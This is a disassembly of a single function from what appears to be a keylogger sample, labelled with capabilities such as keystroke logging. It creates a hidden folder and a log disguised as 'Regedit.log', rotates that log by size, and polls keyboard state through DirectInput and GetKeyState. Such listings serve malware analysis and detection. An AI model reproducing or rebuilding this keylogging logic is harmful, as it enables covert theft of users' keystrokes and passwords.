Function at 0x1000e308
Capabilities:
Create directory
Delete file
Get common file path
Get file size
Log keystrokes via polling

Disassembly:
push 0x438
mov eax, 0x1003805b
call fcn.100206de
mov eax, dword [ebp + 8]
mov dword [ebp - 0x444], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x440], eax
lea eax, [ebp - 0x420]
push eax
xor ebx, ebx
push ebx
push ebx
push 0x23
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov eax, dword [0x10045344]
mov ecx, 0x10045344
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x438], eax
push str.A686911000006E71
lea eax, [ebp - 0x420]
push eax
push 0x1003e164
lea eax, [ebp - 0x438]
mov dword [ebp - 4], ebx
call fcn.10001796
mov eax, dword [ebp - 0x438]
add esp, 0xc
cmp dword [eax - 4], 1
jle 0x1000e396
push dword [eax - 0xc]
lea eax, [ebp - 0x438]
push eax
call fcn.10001706
mov eax, dword [ebp - 0x438]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push str.Regedit.log
lea eax, [ebp - 0x438]
push eax
call fcn.1000cc63
mov esi, dword [ebp - 0x438]
push 0xffffffffffffffff
push ecx
lea eax, [esi - 0x10]
mov dword [ebp - 0x43c], esp
mov edi, esp
call fcn.1000d694
push dword [0x1004cb68]
add eax, 0x10
mov dword [edi], eax
call fcn.1000ae46
add esp, 0xc
cmp dword [esi - 4], 1
mov dword [0x1004cb68], eax
jle 0x1000e3f5
push dword [esi - 0xc]
lea eax, [ebp - 0x438]
push eax
call fcn.10001706
mov edi, dword [ebp - 0x438]
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000e45c
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [ebp - 0x43c], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x43c], 0x3200000
jbe 0x1000e45c
cmp dword [edi - 4], 1
jle 0x1000e455
push dword [edi - 0xc]
lea eax, [ebp - 0x438]
push eax
call fcn.10001706
mov edi, dword [ebp - 0x438]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x438]
mov edi, 0x1004d404
call fcn.1000cbed
mov eax, dword [0x1004cb68]
cmp eax, ebx
je 0x1000e47c
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp - 0x440]
push ebx
push 0x1004c6ac
push 0x1003c9e4
push 0x800
push dword [eax]
call dword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x1000e4b4
mov eax, dword [ebp - 0x438]
add eax, 0xfffffff0
call fcn.1000160d
xor al, al
call fcn.10020728
ret
mov eax, dword [0x1004c6ac]
mov ecx, dword [eax]
push ebx
push 0x1004c6b0
push 0x1003ca04
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x1000e49e
mov eax, dword [0x1004c6b0]
mov ecx, dword [eax]
push 0x1003c9cc
push eax
call dword [ecx + 0x2c]
test eax, eax
js 0x1000e49e
mov edx, dword [ebp - 0x444]
mov eax, dword [0x1004c6b0]
mov ecx, dword [eax]
push 0xa
push dword [edx]
push eax
call dword [ecx + 0x34]
test eax, eax
js 0x1000e49e
mov eax, dword [0x1004c6b0]
push 0x14
pop esi
lea edx, [ebp - 0x434]
push edx
xor edi, edi
inc edi
push edi
mov dword [ebp - 0x434], esi
mov dword [ebp - 0x430], 0x10
mov dword [ebp - 0x42c], ebx
mov dword [ebp - 0x428], ebx
mov dword [ebp - 0x424], 0x3c
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
test eax, eax
js 0x1000e49e
mov eax, dword [0x1004c6b0]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
test eax, eax
jns 0x1000e566
mov eax, dword [ebp - 0x438]
add eax, 0xfffffff0
call fcn.1000160d
mov al, bl
jmp 0x1000e4ae
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
mov dword [0x1004d408], eax
call dword [sym.imp.USER32.dll_GetKeyState]
movzx eax, ax
cmp ax, 0xff81
je 0x1000e58c
mov dword [0x1004cb70], ebx
cmp ax, di
jne 0x1000e592
mov dword [0x1004cb70], edi
mov bl, 1
jmp 0x1000e551